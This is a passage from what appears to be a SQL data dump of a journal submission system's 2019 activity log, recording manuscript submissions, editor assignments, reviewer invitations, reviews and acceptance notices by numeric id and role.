Publisher',631,'Publisher',75),(2408,'2019-07-26 11:02:42','Publisher has been Assigned Editor',631,'Publisher',75),(2409,'2019-07-26 11:02:58','Publisher has been Assigned Editor',630,'Publisher',75),(2410,'2019-07-26 11:08:35','Editor has Accepted to review Manuscript',627,'Editor',160),(2411,'2019-07-26 11:09:44','Editor has Accepted to review Manuscript',630,'Editor',160),(2412,'2019-07-26 11:09:58','Editor has Accepted to review Manuscript',602,'Editor',160),(2413,'2019-07-26 11:11:19','Editor has Invited Reviewer',627,'Editor',160),(2439,'2019-07-26 12:56:32','Reviewer has submitted comments',453,'Reviewer',1127),(2440,'2019-07-26 13:26:44','Publisher : Notified Editor',453,'Publisher',85),(2443,'2019-07-26 13:32:49','Publisher : Notified Author',453,'Publisher',85),(2523,'2019-07-26 16:56:49','Publisher : Notified Author',627,'Publisher',75),(2559,'2019-07-27 05:47:16','Editor has Accepted to review Manuscript',628,'Editor',162),(2560,'2019-07-27 05:47:27','Editor has Accepted to review Manuscript',629,'Editor',162),(2703,'2019-07-28 02:58:11','Editor has Invited Reviewer',630,'Editor',160),(2704,'2019-07-28 02:58:13','Editor has Invited Reviewer',630,'Editor',160),(2705,'2019-07-28 02:58:31','Editor has Invited Reviewer',630,'Editor',160),(2706,'2019-07-28 02:59:32','Editor has Invited Reviewer',627,'Editor',160),(2707,'2019-07-28 03:00:06','Editor has Invited Reviewer',627,'Editor',160),(2708,'2019-07-28 03:00:07','Editor has Invited Reviewer',627,'Editor',160),(2713,'2019-07-28 10:43:50','Editor has Accepted to review Manuscript',555,'Editor',221),(2714,'2019-07-28 10:52:16','Editor sent Email',555,'Editor',221),(2753,'2019-07-29 10:08:23','Publisher has Invited Reviewer',422,'Publisher',48),(2754,'2019-07-29 10:08:24','Publisher has Invited Reviewer',422,'Publisher',48),(2755,'2019-07-29 10:10:16','Reviewer has submitted comments',422,'Reviewer',1359),(2758,'2019-07-29 10:12:41','Reviewer has submitted comments',422,'Reviewer',1358),(2760,'2019-07-29 10:14:45','Publisher: Accept Notification has been sent to Author',422,'Publisher',48),(2816,'2019-07-29 11:10:57','Publisher has Invited Reviewer',423,'Publisher',48),(2817,'2019-07-29 11:10:58','Publisher has Invited Reviewer',423,'Publisher',48),(2818,'2019-07-29 11:10:58','Publisher has Invited Reviewer',423,'Publisher',48),(2819,'2019-07-29 11:11:00','Publisher has Invited Reviewer',423,'Publisher',48),(2820,'2019-07-29 11:15:18','Reviewer has submitted comments',423,'Reviewer',1406),(2879,'2019-07-29 14:02:31','Manuscript Submitted by Author using Submission form',715,'Author',809),(3038,'2019-07-29 17:51:00','Manuscript Submitted by Publisher',726,'Publisher',48),(3044,'2019-07-29 17:51:17','Publisher has been Assigned Editor',726,'Publisher',48),(3050,'2019-07-29 18:15:43','Publisher has been Withdrawn  article',428,'Publisher',48),(3051,'2019-07-29 18:15:55','Publisher has been Withdrawn  article',430,'Publisher',48),(3068,'2019-07-30 04:36:21','Reviewer has submitted comments',602,'Reviewer',633),(3263,'2019-07-30 11:06:32','Publisher : Notified Editor',602,'Publisher',75),(3266,'2019-07-30 11:08:03','Publisher : Notified Author',602,'Publisher',75),(3300,'2019-07-30 11:30:39','Publisher : Notified Author',627,'Publisher',75),(3308,'2019-07-30 13:18:01','Publisher has been Assigned Editor',715,'Publisher',48),(3309,'2019-07-30 13:21:45','Manuscript Submitted by Publisher',747,'Publisher',75),(3350,'2019-07-30 17:09:19','Publisher has been Assigned Editor',747,'Publisher',75),(3366,'2019-07-30 19:56:43','Editor has been Revise article',627,'Editor',160),(3367,'2019-07-30 19:58:28','Editor has been Revise article',602,'Editor',160),(3369,'2019-07-30 20:39:55','Manuscript has been Revised',453,'Author',524),(3370,'2019-07-30 20:41:15','Manuscript has been Revised',453,'Author',524),(3379,'2019-07-30 23:07:05','Editor has Accepted to review Manuscript',747,'Editor',162),(3380,'2019-07-30 23:08:45','Editor has Invited Reviewer',628,'Editor',162),(3381,'2019-07-30 23:09:54','Editor has Invited Reviewer',628,'Editor',162),(3382,'2019-07-30 23:14:36','Editor has Invited Reviewer',628,'Editor',162),(3383,'2019-07-30 23:15:36','Editor has Invited Reviewer',629,'Editor',162),(3384,'2019-07-30 23:15:56','Editor has Invited Reviewer',629,'Editor',162),(3385,'2019-07-30 23:17:12','Editor has Invited Reviewer',629,'Editor',162),(3386,'2019-07-30 23:18:22','Editor has Invited Reviewer',747,'Editor',162),(3387,'2019-07-30 23:18:37','Editor has Invited Reviewer',747,'Editor',162),(3388,'2019-07-30 23:24:35','Editor has Invited Reviewer',747,'Editor',162),(3655,'2019-08-01 12:05:01','Publisher has Invited Reviewer',425,'Publisher',48),(3656,'2019-08-01 12:05:02','Publisher has Invited Reviewer',425,'Publisher',48),(3657,'2019-08-01 12:07:54','Reviewer has submitted comments',425,'Reviewer',1974),(3716,'2019-08-01 14:22:52','Reviewer has submitted comments',548,'Reviewer',1989),(3730,'2019-08-01 15:40:17','Reviewer has submitted comments',549,'Reviewer',1990),(3742,'2019-08-01 17:00:08','Manuscript Submitted by Publisher',816,'Publisher',48),(3743,'2019-08-01 17:00:23','Publisher has been Assigned Editor',816,'Publisher',48),(3768,'2019-08-01 17:51:05','Manuscript Submitted by Publisher',820,'Publisher',48),(3769,'2019-08-01 17:51:16','Publisher has been Assigned Editor',820,'Publisher',48),(4061,'2019-08-02 17:52:21','Publisher has Invited Reviewer',631,'Publisher',75),(4063,'2019-08-02 17:54:28','Publisher has been Accepted  article',613,'Publisher',75),(4097,'2019-08-03 10:51:31','Publisher has Invited Reviewer',427,'Publisher',48),(4098,'2019-08-03 10:51:32','Publisher has Invited Reviewer',427,'Publisher',48),(4099,'2019-08-03 10:51:33','Publisher has Invited Reviewer',427,'Publisher',48),(4391,'2019-08-05 23:53:10','Manuscript Submitted by Author using Submission form',917,'Author',1081),(4560,'2019-08-07 02:22:14','Reviewer has submitted comments',629,'Reviewer',663),(4635,'2019-08-07 11:42:21','Publisher : Notified Editor',629,'Publisher',75),(4725,'2019-08-07 14:25:06','Manuscript Submitted by Publisher',969,'Publisher',48),(4726,'2019-08-07 14:25:19','Publisher has been Assigned Editor',969,'Publisher',48),(4809,'2019-08-07 17:38:49','Publisher has been Assigned Editor',917,'Publisher',85),(4810,'2019-08-07 17:39:39','Publisher : Notified Editor',453,'Publisher',85),(4811,'2019-08-07 17:41:23','Publisher : Notified Author',555,'Publisher',84),(4821,'2019-08-07 18:14:03','Editor has Invited Reviewer',629,'Editor',162),(4822,'2019-08-07 18:14:04','Editor has Invited Reviewer',629,'Editor',162),(4823,'2019-08-07 18:16:31','Editor has Invited Reviewer',628,'Editor',162),(4824,'2019-08-07 18:16:32','Editor has Invited Reviewer',628,'Editor',162),(4825,'2019-08-07 18:16:33','Editor has Invited Reviewer',628,'Editor',162),(4826,'2019-08-07 18:17:10','Editor has Invited Reviewer',628,'Editor',162),(4849,'2019-08-08 04:42:57','Reviewer has submitted comments',631,'Reviewer',633),(4868,'2019-08-08 10:15:18','Publisher has Invited Reviewer',917,'Publisher',85),(4869,'2019-08-08 10:15:19','Publisher has Invited Reviewer',917,'Publisher',85),(4870,'2019-08-08 10:15:20','Publisher has Invited Reviewer',917,'Publisher',85),(4871,'2019-08-08 10:15:21','Publisher has Invited Reviewer',917,'Publisher',85),(4872,'2019-08-08 10:15:22','Publisher has Invited Reviewer',917,'Publisher',85),(4873,'2019-08-08 10:15:23','Publisher has Invited Reviewer',917,'Publisher',85),(4874,'2019-08-08 10:15:23','Publisher has Invited Reviewer',917,'Publisher',85),(4875,'2019-08-08 10:15:24','Publisher has Invited Reviewer',917,'Publisher',85),(4876,'2019-08-08 10:15:25','Publisher has Invited Reviewer',917,'Publisher',85),(4877,'2019-08-08 10:15:26','Publisher has Invited Reviewer',917,'Publisher',85),(4878,'2019-08-08 10:15:26','Publisher has Invited Reviewer',917,'Publisher',85),(4879,'2019-08-08 10:15:27','Publisher has Invited Reviewer',917,'Publisher',85),(4880,'2019-08-08 10:15:28','Publisher has Invited Reviewer',917,'Publisher',85),(4881,'2019-08-08 10:15:29','Publisher has Invited Reviewer',917,'Publisher',85),(4882,'2019-08-08 10:15:29','Publisher has Invited Reviewer',917,'Publisher',85),(4883,'2019-08-08 10:15:30','Publisher has Invited Reviewer',917,'Publisher',85),(4884,'2019-08-08 10:15:31','Publisher has Invited Reviewer',917,'Publisher',85),(4885,'2019-08-08 10:15:31','Publisher has Invited Reviewer',917,'Publisher',85),(4886,'2019-08-08 10:15:32','Publisher has Invited Reviewer',917,'Publisher',85),(4930,'2019-08-08 13:48:20','Publisher : Notified Editor',631,'Publisher',75),(4957,'2019-08-08 15:05:08','Manuscript Submitted by Author using Submission form',1011,'Author',1201),(5020,'2019-08-08 17:39:31','Manuscript Submitted by Publisher',1023,'Publisher',248),(5021,'2019-08-08 17:42:04','Manuscript Submitted by Publisher',1024,'Publisher',248),(5023,'2019-08-08 17:46:23','Manuscript Submitted by Publisher',1025,'Publisher',248),(5028,'2019-08-08 17:54:21','Publisher has been Assigned Editor',1025,'Publisher',248),(5033,'2019-08-08 18:06:40','Publisher has been Assigned Editor',1024,'Publisher',248),(5034,'2019-08-08 18:06:55','Publisher has been Assigned Editor',1023,'Publisher',248),(5264,'2019-08-09 16:40:08','Editor has Accepted to review Manuscript',631,'Editor',161),(5265,'2019-08-09 16:41:06','Editor has been Revise article',631,'Editor',161),(5266,'2019-08-09 16:41:36','Editor has been Revise article',631,'Editor',161),(5271,'2019-08-09 17:06:25','Editor has been Revise article',629,'Editor',162),(5272,'2019-08-09 17:07:05','Editor has been Revise article',629,'Editor',161),(5331,'2019-08-10 03:38:37','Author sent Email',627,'Author',737),(5523,'2019-08-12 13:31:16','Publisher has been Accepted  article',422,'Publisher',48),(5525,'2019-08-12 13:38:38','Publisher has been Accepted  article',423,'Publisher',48),(5526,'2019-08-12 13:38:51','Publisher has been Accepted  article',425,'Publisher',48),(5527,'2019-08-12 13:39:13','Publisher has been Accepted  article',427,'Publisher',48),(5528,'2019-08-12 13:39:28','Publisher has been Accepted  article',548,'Publisher',48),(5529,'2019-08-12 13:39:50','Publisher has been Accepted  article',549,'Publisher',48),(5540,'2019-08-12 13:54:32','Publisher : Notified Author',555,'Publisher',84),(5690,'2019-08-12 18:07:52','Manuscript has been Revised',555,'Author',617),(5734,'2019-08-13 10:19:53','Publisher has Invited Reviewer',1023,'Publisher',248),(5735,'2019-08-13 10:19:54','Publisher has Invited Reviewer',1023,'Publisher',248),(5736,'2019-08-13 10:19:55','Publisher has Invited Reviewer',1023,'Publisher',248),(5737,'2019-08-13 10:19:56','Publisher has Invited Reviewer',1023,'Publisher',248),(5738,'2019-08-13 10:19:57','Publisher has Invited Reviewer',1023,'Publisher',248),(5739,'2019-08-13 10:19:57','Publisher has Invited Reviewer',1023,'Publisher',248),(5740,'2019-08-13 10:19:58','Publisher has Invited Reviewer',1023,'Publisher',248),(5741,'2019-08-13 10:19:59','Publisher has Invited Reviewer',1023,'Publisher',248),(5742,'2019-08-13 10:19:59','Publisher has Invited Reviewer',1023,'Publisher',248),(5743,'2019-08-13 10:20:00','Publisher has Invited Reviewer',1023,'Publisher',248),(5754,'2019-08-13 10:48:33','Publisher has Invited Reviewer',1024,'Publisher',248),(5755,'2019-08-13 10:48:34','Publisher has Invited Reviewer',1024,'Publisher',248),(5756,'2019-08-13 10:48:35','Publisher has Invited Reviewer',1024,'Publisher',248),(5757,'2019-08-13 10:48:36','Publisher has Invited Reviewer',1024,'Publisher',248),(5758,'2019-08-13 10:48:36','Publisher has Invited Reviewer',1024,'Publisher',248),(5759,'2019-08-13 10:48:44','Publisher has Invited Reviewer',1024,'Publisher',248),(5769,'2019-08-13 11:24:36','Publisher has Invited Reviewer',1025,'Publisher',248),(5770,'2019-08-13 11:24:36','Publisher has Invited Reviewer',1025,'Publisher',248),(5771,'2019-08-13 11:24:37','Publisher has Invited Reviewer',1025,'Publisher',248),(5772,'2019-08-13 11:24:38','Publisher has Invited Reviewer',1025,'Publisher',248),(5773,'2019-08-13 11:24:39','Publisher has Invited Reviewer',1025,'Publisher',248),(5774,'2019-08-13 11:24:40','Publisher has Invited Reviewer',1025,'Publisher',248),(5775,'2019-08-13 11:24:40','Publisher has Invited Reviewer',1025,'Publisher',248),(5776,'2019-08-13 11:24:41','Publisher has Invited Reviewer',1025,'Publisher',248),(6103,'2019-08-14 11:04:41','Publisher : Notified Author',629,'Publisher',75),(6104,'2019-08-14 11:05:56','Publisher : Notified Author',631,'Publisher',75),(6533,'2019-08-14 16:56:21','Publisher has Invited Reviewer',917,'Publisher',85),(6534,'2019-08-14 16:56:23','Publisher has Invited Reviewer',917,'Publisher',85),(6535,'2019-08-14 16:56:24','Publisher has Invited Reviewer',917,'Publisher',85),(6536,'2019-08-14 16:56:24','Publisher has Invited Reviewer',917,'Publisher',85),(6537,'2019-08-14 16:56:25','Publisher has Invited Reviewer',917,'Publisher',85),(6577,'2019-08-14 18:49:11','Manuscript Submitted by Author',1246,'Author',1422),(6747,'2019-08-16 11:35:37','Manuscript Submitted by Publisher',1290,'Publisher',84),(6748,'2019-08-16 11:35:51','Publisher has been Assigned Editor',1290,'Publisher',84),(6856,'2019-08-16 13:48:47','Publisher has been Assigned Editor',1011,'Publisher',75),(7073,'2019-08-17 09:39:45','Reviewer has submitted comments',747,'Reviewer',660),(7074,'2019-08-17 09:40:38','Reviewer has submitted comments',747,'Reviewer',660),(7225,'2019-08-18 22:06:11','Manuscript Submitted by Author using Submission form',1360,'Author',1658),(7452,'2019-08-19 14:06:06','Manuscript Submitted by Author using Submission form',1394,'Author',1697),(7588,'2019-08-20 05:09:44','Editor has been Revise article',629,'Editor',162),(7589,'2019-08-20 05:16:02','Editor has been Editor Decision Accepted article',747,'Editor',162),(7609,'2019-08-20 09:57:57','Publisher has Invited Reviewer',1025,'Publisher',248),(7610,'2019-08-20 09:57:59','Publisher has Invited Reviewer',1025,'Publisher',248),(7611,'2019-08-20 09:58:00','Publisher has Invited Reviewer',1025,'Publisher',248),(7612,'2019-08-20 09:58:00','Publisher has Invited Reviewer',1025,'Publisher',248),(7613,'2019-08-20 09:58:01','Publisher has Invited Reviewer',1025,'Publisher',248),(7614,'2019-08-20 09:58:02','Publisher has Invited Reviewer',1025,'Publisher',248),(7626,'2019-08-20 10:34:55','Publisher: Accept Notification has been sent to Author',747,'Publisher',75),(7627,'2019-08-20 10:36:38','Publisher : Notified Editor',627,'Publisher',75),(7642,'2019-08-20 11:12:22','Publisher has Invited Reviewer',917,'Publisher',85),(7702,'2019-08-20 12:26:11','Publisher has Invited Reviewer',1024,'Publisher',248),(7703,'2019-08-20 12:26:12','Publisher has Invited Reviewer',1024,'Publisher',248),(7704,'2019-08-20 12:26:13','Publisher has Invited Reviewer',1024,'Publisher',248),(7705,'2019-08-20 12:26:14','Publisher has Invited Reviewer',1024,'Publisher',248),(7706,'2019-08-20 12:26:15','Publisher has Invited Reviewer',1024,'Publisher',248),(7707,'2019-08-20 12:26:16','Publisher has Invited Reviewer',1024,'Publisher',248),(7708,'2019-08-20 12:26:16','Publisher has Invited Reviewer',1024,'Publisher',248),(7709,'2019-08-20 12:26:17','Publisher has Invited Reviewer',1024,'Publisher',248),(7710,'2019-08-20 12:26:18','Publisher has Invited Reviewer',1024,'Publisher',248),(7711,'2019-08-20 12:26:19','Publisher has Invited Reviewer',1024,'Publisher',248),(7712,'2019-08-20 12:26:43','Publisher has Invited Reviewer',1023,'Publisher',248),(7713,'2019-08-20 12:26:44','Publisher has Invited Reviewer',1023,'Publisher',248),(7714,'2019-08-20 12:26:44','Publisher has Invited Reviewer',1023,'Publisher',248),(7715,'2019-08-20 12:26:45','Publisher has Invited Reviewer',1023,'Publisher',248),(7716,'2019-08-20 12:26:45','Publisher has Invited Reviewer',1023,'Publisher',248),(7717,'2019-08-20 12:26:49','Publisher has Invited Reviewer',1023,'Publisher',248),(7982,'2019-08-20 16:41:29','Publisher has been Assigned Editor',1394,'Publisher',85),(8109,'2019-08-20 16:56:54','Manuscript Submitted by Author',1452,'Author',1774),(8110,'2019-08-20 17:05:01','Editor has Accepted to review Manuscript',1452,'Editor',633),(8112,'2019-08-20 17:07:21','Publisher has Invited Reviewer',1452,'Publisher',645),(8113,'2019-08-20 17:07:22','Publisher has Invited Reviewer',1452,'Publisher',645),(8114,'2019-08-20 17:07:23','Publisher has Invited Reviewer',1452,'Publisher',645),(8115,'2019-08-20 17:07:24','Publisher has Invited Reviewer',1452,'Publisher',645),(8116,'2019-08-20 17:07:25','Publisher has Invited Reviewer',1452,'Publisher',645),(8117,'2019-08-20 17:07:36','Publisher has Invited Reviewer',1452,'Publisher',645),(8118,'2019-08-20 17:07:37','Publisher has Invited Reviewer',1452,'Publisher',645),(8119,'2019-08-20 17:08:01','Publisher has Invited Reviewer',1452,'Publisher',645),(8120,'2019-08-20 17:08:14','Publisher has Invited Reviewer',1452,'Publisher',645),(8121,'2019-08-20 17:08:16','Publisher has Invited Reviewer',1452,'Publisher',645),(8122,'2019-08-20 17:08:17','Publisher has Invited Reviewer',1452,'Publisher',645),(8123,'2019-08-20 17:08:18','Publisher has Invited Reviewer',1452,'Publisher',645),(8124,'2019-08-20 17:08:19','Publisher has Invited Reviewer',1452,'Publisher',645),(8125,'2019-08-20 17:08:20','Publisher has Invited Reviewer',1452,'Publisher',645),(8126,'2019-08-20 17:08:31','Publisher has Invited Reviewer',1452,'Publisher',645),(8136,'2019-08-20 17:49:04','Publisher has Invited Reviewer',1011,'Publisher',75),(8152,'2019-08-20 19:02:37','Manuscript Submitted by Author using Submission form',1457,'Author',1780),(8193,'2019-08-21 09:03:42','Manuscript Submitted by Author',1476,'Author',1804),(8593,'2019-08-21 15:09:01','Publisher has been Assigned Editor',1457,'Publisher',75),(8615,'2019-08-21 15:18:17','Manuscript Submitted by Publisher',1497,'Publisher',75),(8617,'2019-08-21 15:18:29','Publisher has been Assigned Editor',1497,'Publisher',75),(8717,'2019-08-21 17:44:16','Publisher has Invited Reviewer',628,'Publisher',75),(8719,'2019-08-21 18:25:27','Editor has been Revise article',627,'Editor',160),(8721,'2019-08-21 18:26:47','Editor has Accepted to review Manuscript',1457,'Editor',160),(8722,'2019-08-21 18:29:10','Editor has Accepted to review Manuscript',1457,'Editor',160),(8724,'2019-08-21 18:31:39','Editor has Invited Reviewer',1457,'Editor',160),(8725,'2019-08-21 18:31:40','Editor has Invited Reviewer',1457,'Editor',160),(8726,'2019-08-21 18:31:40','Editor has Invited Reviewer',1457,'Editor',160),(8727,'2019-08-21 18:31:41','Editor has Invited Reviewer',1457,'Editor',160),(8880,'2019-08-22 13:20:12','Publisher has been Assigned Editor',1476,'Publisher',48),(8881,'2019-08-22 13:20:46','Publisher has been Assigned Editor',1246,'Publisher',48),(8883,'2019-08-22 13:28:54','Reviewer has submitted comments',1023,'Reviewer',3238),(8884,'2019-08-22 13:29:36','Publisher : Notified Editor',1023,'Publisher',248),(8885,'2019-08-22 13:30:05','Publisher : Notified Author',1023,'Publisher',248),(8897,'2019-08-22 13:51:46','Publisher has Unassign Editor',1246,'Publisher',48),(8999,'2019-08-22 15:08:23','Publisher : Notified Editor',629,'Publisher',75),(9111,'2019-08-23 09:13:13','Publisher has been Accepted  article',627,'Publisher',75),(9112,'2019-08-23 09:14:27','Publisher has been Accepted  article',627,'Publisher',75),(9288,'2019-08-23 11:11:23','Publisher: Accept Notification has been sent to Author',627,'Publisher',75),(9464,'2019-08-23 14:53:41','Publisher has Invited Reviewer',429,'Publisher',48),(9481,'2019-08-23 14:54:50','Publisher has Invited Reviewer',1476,'Publisher',48),(9482,'2019-08-23 14:54:51','Publisher has Invited Reviewer',1476,'Publisher',48),(9486,'2019-08-23 14:55:13','Publisher has Invited Reviewer',1360,'Publisher',49),(9502,'2019-08-23 14:56:45','Publisher has Invited Reviewer',1246,'Publisher',48),(9503,'2019-08-23 14:56:46','Publisher has Invited Reviewer',1246,'Publisher',48),(9504,'2019-08-23 14:57:21','Publisher has Invited Reviewer',969,'Publisher',49),(9506,'2019-08-23 14:57:50','Publisher has Invited Reviewer',563,'Publisher',48),(9507,'2019-08-23 14:57:51','Publisher has Invited Reviewer',563,'Publisher',48),(9508,'2019-08-23 14:58:25','Publisher has Invited Reviewer',715,'Publisher',48),(9509,'2019-08-23 14:58:27','Publisher has Invited Reviewer',715,'Publisher',48),(9510,'2019-08-23 14:58:44','Publisher has Invited Reviewer',820,'Publisher',48),(9511,'2019-08-23 14:58:45','Publisher has Invited Reviewer',820,'Publisher',48),(9512,'2019-08-23 14:59:04','Publisher has Invited Reviewer',726,'Publisher',48),(9513,'2019-08-23 14:59:05','Publisher has Invited Reviewer',726,'Publisher',48),(9514,'2019-08-23 14:59:25','Publisher has Invited Reviewer',816,'Publisher',48),(9515,'2019-08-23 14:59:26','Publisher has Invited Reviewer',816,'Publisher',48),(9543,'2019-08-23 16:30:11','Manuscript has been Revised',1023,'Author',1214),(9544,'2019-08-23 16:30:56','Manuscript has been Revised',1023,'Author',1214),(9545,'2019-08-23 16:31:19','Manuscript has been Revised',1023,'Author',1214),(9572,'2019-08-23 16:42:09','Publisher has Invited Reviewer',1024,'Publisher',248),(9573,'2019-08-23 16:42:10','Publisher has Invited Reviewer',1024,'Publisher',248),(9574,'2019-08-23 16:42:11','Publisher has Invited Reviewer',1024,'Publisher',248),(9575,'2019-08-23 16:42:12','Publisher has Invited Reviewer',1024,'Publisher',248),(9581,'2019-08-23 16:54:58','Publisher has Invited Reviewer',1025,'Publisher',248),(9582,'2019-08-23 16:54:58','Publisher has Invited Reviewer',1025,'Publisher',248),(9583,'2019-08-23 16:54:59','Publisher has Invited Reviewer',1025,'Publisher',248),(9584,'2019-08-23 16:54:59','Publisher has Invited Reviewer',1025,'Publisher',248),(9585,'2019-08-23 16:55:00','Publisher has Invited Reviewer',1025,'Publisher',248),(9586,'2019-08-23 16:55:00','Publisher has Invited Reviewer',1025,'Publisher',248),(9666,'2019-08-23 20:21:16','Author sent Email',1023,'Author',1214),(9667,'2019-08-23 20:23:57','Editor has Accepted to review Manuscript',969,'Editor',195),(9668,'2019-08-23 20:24:07','Editor has Accepted to review Manuscript',430,'Editor',195),(9669,'2019-08-23 20:24:44','Editor has Invited Reviewer',430,'Editor',195),(9670,'2019-08-23 20:24:59','Editor has Invited Reviewer',430,'Editor',195),(9671,'2019-08-23 20:25:09','Editor has Invited Reviewer',430,'Editor',195),(9672,'2019-08-23 20:25:23','Editor has Invited Reviewer',430,'Editor',195),(9673,'2019-08-23 20:25:24','Editor has Invited Reviewer',430,'Editor',195),(9674,'2019-08-23 20:25:25','Editor has Invited Reviewer',430,'Editor',195),(9675,'2019-08-23 20:25:27','Editor has Invited Reviewer',430,'Editor',195),(9676,'2019-08-23 20:26:29','Editor has Invited Reviewer',969,'Editor',195),(9677,'2019-08-23 20:26:42','Editor has Invited Reviewer',969,'Editor',195),(9678,'2019-08-23 20:26:57','Editor has Invited Reviewer',969,'Editor',195),(9679,'2019-08-23 20:26:58','Editor has Invited Reviewer',969,'Editor',195),(9680,'2019-08-23 20:27:07','Editor has Invited Reviewer',969,'Editor',195),(9681,'2019-08-23 20:27:54','Editor has Invited Reviewer',969,'Editor',195),(9682,'2019-08-23 20:28:15','Editor has Accepted to review Manuscript',1476,'Editor',195),(9683,'2019-08-23 20:28:55','Editor has Invited Reviewer',1476,'Editor',195),(9684,'2019-08-23 20:28:57','Editor has Invited Reviewer',1476,'Editor',195),(9685,'2019-08-23 20:28:58','Editor has Invited Reviewer',1476,'Editor',195),(9686,'2019-08-23 20:28:59','Editor has Invited Reviewer',1476,'Editor',195),(9727,'2019-08-24 09:52:13','Publisher : Notified Editor',1023,'Publisher',248),(9740,'2019-08-24 09:58:06','Editor has Accepted to review Manuscript',1023,'Editor',359),(9939,'2019-08-26 02:21:56','Manuscript Submitted by Author using Submission form',1673,'Author',2076),(9940,'2019-08-26 04:59:10','Manuscript Submitted by Author using Submission form',1674,'Author',2077),(9944,'2019-08-26 07:34:22','Manuscript Submitted by Author using Submission form',1676,'Author',2078),(10008,'2019-08-26 10:28:17','Publisher: Accept Notification has been sent to Author',1290,'Publisher',84),(10044,'2019-08-26 12:07:56','Publisher has Invited Reviewer',1011,'Publisher',75),(10045,'2019-08-26 12:07:57','Publisher has Invited Reviewer',1011,'Publisher',75),(10046,'2019-08-26 12:07:58','Publisher has Invited Reviewer',1011,'Publisher',75),(10047,'2019-08-26 12:07:59','Publisher has Invited Reviewer',1011,'Publisher',75),(10048,'2019-08-26 12:08:00','Publisher has Invited Reviewer',1011,'Publisher',75),(10049,'2019-08-26 12:08:58','Publisher has Invited Reviewer',630,'Publisher',75),(10050,'2019-08-26 12:09:12','Publisher has Invited Reviewer',630,'Publisher',75),(10051,'2019-08-26 12:09:13','Publisher has Invited Reviewer',630,'Publisher',75),(10052,'2019-08-26 12:09:14','Publisher has Invited Reviewer',630,'Publisher',75),(10054,'2019-08-26 12:09:48','Publisher has Invited Reviewer',1497,'Publisher',75),(10055,'2019-08-26 12:09:49','Publisher has Invited Reviewer',1497,'Publisher',75),(10057,'2019-08-26 12:10:10','Publisher has Invited Reviewer',1497,'Publisher',75),(10058,'2019-08-26 12:10:11','Publisher has Invited Reviewer',1497,'Publisher',75),(10059,'2019-08-26 12:10:12','Publisher has Invited Reviewer',1497,'Publisher',75),(10163,'2019-08-26 13:55:07','Publisher has been Assigned Editor',1676,'Publisher',48),(10223,'2019-08-26 15:25:22','Reviewer has submitted comments',816,'Reviewer',1989),(10295,'2019-08-26 17:11:14','Publisher has Invited Reviewer',917,'Publisher',85),(10296,'2019-08-26 17:11:15','Publisher has Invited Reviewer',917,'Publisher',85),(10297,'2019-08-26 17:11:15','Publisher has Invited Reviewer',917,'Publisher',85),(10298,'2019-08-26 17:11:16','Publisher has Invited Reviewer',917,'Publisher',85),(10299,'2019-08-26 17:11:16','Publisher has Invited Reviewer',917,'Publisher',85),(10300,'2019-08-26 17:11:17','Publisher has Invited Reviewer',917,'Publisher',85),(10301,'2019-08-26 17:11:18','Publisher has Invited Reviewer',917,'Publisher',85),(10302,'2019-08-26 17:11:18','Publisher has Invited Reviewer',917,'Publisher',85),(10320,'2019-08-26 17:15:41','Publisher has Invited Reviewer',1394,'Publisher',85),(10321,'2019-08-26 17:15:41','Publisher has Invited Reviewer',1394,'Publisher',85),(10322,'2019-08-26 17:15:42','Publisher has Invited Reviewer',1394,'Publisher',85),(10323,'2019-08-26 17:15:43','Publisher has Invited Reviewer',1394,'Publisher',85),(10324,'2019-08-26 17:15:43','Publisher has Invited Reviewer',1394,'Publisher',85),(10325,'2019-08-26 17:15:44','Publisher has Invited Reviewer',1394,'Publisher',85),(10326,'2019-08-26 17:15:45','Publisher has Invited Reviewer',1394,'Publisher',85),(10327,'2019-08-26 17:15:45','Publisher has Invited Reviewer',1394,'Publisher',85),(10328,'2019-08-26 17:15:46','Publisher has Invited Reviewer',1394,'Publisher',85),(10329,'2019-08-26 17:15:47','Publisher has Invited Reviewer',1394,'Publisher',85),(10366,'2019-08-26 17:57:51','Publisher has been Assigned Editor',1674,'Publisher',84),(10367,'2019-08-26 18:02:34','Publisher has Invited Reviewer',1674,'Publisher',84),(10368,'2019-08-26 18:02:35','Publisher has Invited Reviewer',1674,'Publisher',84),(10369,'2019-08-26 18:02:37','Publisher has Invited Reviewer',1674,'Publisher',84),(10370,'2019-08-26 18:02:38','Publisher has Invited Reviewer',1674,'Publisher',84),(10371,'2019-08-26 18:02:39','Publisher has Invited Reviewer',1674,'Publisher',84),(10372,'2019-08-26 18:02:40','Publisher has Invited Reviewer',1674,'Publisher',84),(10373,'2019-08-26 18:02:41','Publisher has Invited Reviewer',1674,'Publisher',84),(10374,'2019-08-26 18:02:42','Publisher has Invited Reviewer',1674,'Publisher',84),(10375,'2019-08-26 18:02:43','Publisher has Invited Reviewer',1674,'Publisher',84),(10411,'2019-08-26 19:55:48','Reviewer has submitted comments',1674,'Reviewer',5795),(10455,'2019-08-27 04:47:21','Editor has Invited Reviewer',555,'Editor',221),(10456,'2019-08-27 04:47:22','Editor has Invited Reviewer',555,'Editor',221),(10457,'2019-08-27 04:47:23','Editor has Invited Reviewer',555,'Editor',221),(10458,'2019-08-27 04:47:25','Editor has Invited Reviewer',555,'Editor',221),(10459,'2019-08-27 04:47:26','Editor has Invited Reviewer',555,'Editor',221),(10460,'2019-08-27 04:47:27','Editor has Invited Reviewer',555,'Editor',221),(10461,'2019-08-27 04:47:28','Editor has Invited Reviewer',555,'Editor',221),(10462,'2019-08-27 04:47:29','Editor has Invited Reviewer',555,'Editor',221),(10463,'2019-08-27 04:47:31','Editor has Invited Reviewer',555,'Editor',221),(10464,'2019-08-27 04:48:54','Editor has Accepted to review Manuscript',1674,'Editor',221),(10468,'2019-08-27 07:09:43','Reviewer has submitted comments',628,'Reviewer',633),(10484,'2019-08-27 09:31:29','Publisher : Notified Editor',628,'Publisher',75),(10528,'2019-08-27 10:15:22','Publisher has Invited Reviewer',1676,'Publisher',48),(10530,'2019-08-27 10:20:35','Publisher has been Accepted  article',816,'Publisher',48),(10548,'2019-08-27 10:26:05','Publisher has been Accepted  article',726,'Reviewer',49),(10549,'2019-08-27 10:26:42','Publisher has been Accepted  article',429,'Reviewer',49),(10733,'2019-08-27 14:19:40','Editor has been Revise article',628,'Editor',162),(10739,'2019-08-27 14:23:12','Editor has been Editor Decision Accepted article',629,'Editor',162),(10899,'2019-08-28 06:48:41','Reviewer has been sent email to Publisher',1394,'Reviewer',5751),(10926,'2019-08-28 10:01:59','Reviewer has submitted comments',969,'Reviewer',2238),(10927,'2019-08-28 10:02:33','Publisher has been Accepted  article',969,'Publisher',48),(10988,'2019-08-28 